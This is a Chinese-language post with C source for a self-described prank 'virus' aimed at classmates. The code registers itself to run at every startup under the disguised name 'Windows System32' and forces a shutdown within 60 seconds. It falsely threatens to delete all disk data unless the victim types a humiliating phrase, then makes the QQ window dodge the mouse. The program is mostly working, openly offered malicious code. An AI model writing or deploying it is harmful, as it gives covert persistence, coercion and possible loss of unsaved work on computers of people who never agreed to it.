该程序会被安全系统认为是木马并隔离,只适用于和同学开玩笑
该病毒功能包括3部分
1,添加到注册表,开机自启。
2,运行后60秒关机,除非输入指令。
3,让对方QQ躲避对方鼠标30次
#define _CRT_SECURE_NO_DEPRECATE
#include<string.h>//strcmp的库函数
#include<stdio.h>
#include<windows.h>//Windows系统的接口winAPI
#include<time.h>//生成随机数
#include<stdlib.h>//system的库函数,等
//在项目,属性中修改配置属性的字符集为多字节字符集
int main()
{
char cxlujin[100];//定义个数组存放程序的地址
GetModuleFileName(NULL, cxlujin, sizeof(cxlujin));//查询程序地址(放到cxlujin )
char s[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//定义字符串为注册表开机自启的路径
HKEY hkey;//定义一个注册表的类
RegOpenKey(HKEY_CURRENT_USER, s, &hkey);//打开注册表(打开该注册表,按cxlujin路径,保存到hkey)
RegSetValueEx(hkey,"Windows System32", 0, REG_SZ,
(unsigned char*)cxlujin, 250);
//设置注册表(设置那个注册表,修改该注册表名称,0,注册表类型 ,(强制转换)程序路径,大小)
char mima[20] = { 0 };
printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学{{|└(>o< )┘|}}\n植入了病毒!!!\n");//给对方造成心理压力
printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!\n");
while (1)//对方输错可以继续输入
{
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");//警告
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
system("shutdown -s -t 60");//system可以对系统进行操作,shutdown是windows的关机指令-s-t是延时设置
printf("重要的事情我说了5遍!(▼皿▼#)\n害怕吧\n不知所措吧\n忙着关闭电源吧\n");//提示
printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学\n");
printf("给了你一个拯救你电脑的机会(●—●)\n");
printf("你只需要输入一句简简单单的话\n就可以挽救着一切\n立即输入(目光看向这里╰(‵□′)╯ )\n我是傻逼小涵牛逼\n否则就等着你的电脑关机并删掉你所有的数据吧\n啊哈哈哈哈哈\n一切取决与你 ,你还有不到60秒\n");
scanf("%s", mima);//数组不用取地址符
if (strcmp(mima,"我是傻逼小涵牛逼") == 0)//判断是否正确输入
{
printf("输入正确\n");//正确反馈
break;//跳出循环
}
}
system("shutdown -a");//同上微软取消关机指令
printf("很好,你诚恳的态度得到了小涵同学的认可,所以他放过了你\n");//反馈
int i = 1;
srand((unsigned int)time(NULL));//随机数总值
HWND qqhwnd;// 定义一个窗口句柄
qqhwnd = FindWindow("TXGuiFoundation", "QQ");//寻找窗口句柄,使用类名称和标题
POINT pt;//定义一个点
RECT rect;//定义一个矩形
while (i <= 30)//多次调戏
{
GetCursorPos(&pt);//获取光标点(位置)放到pt中
GetWindowRect(qqhwnd, &rect); //qq窗口的坐标保存到rect
if (pt.x >= rect.left && pt.x <= rect.right &&
pt.y >= rect.top && pt.y <= rect.bottom)//判断光标是否在qq窗口中
{
MoveWindow(qqhwnd, //移动那个窗口
rand() % 1520, rand() % 680, //移动到哪里去 //屏幕1920*1080//1920-300=1620//
400, 400, //窗口大小
true); //是否刷新
i++;
}
}
printf("结束");
return 0;
}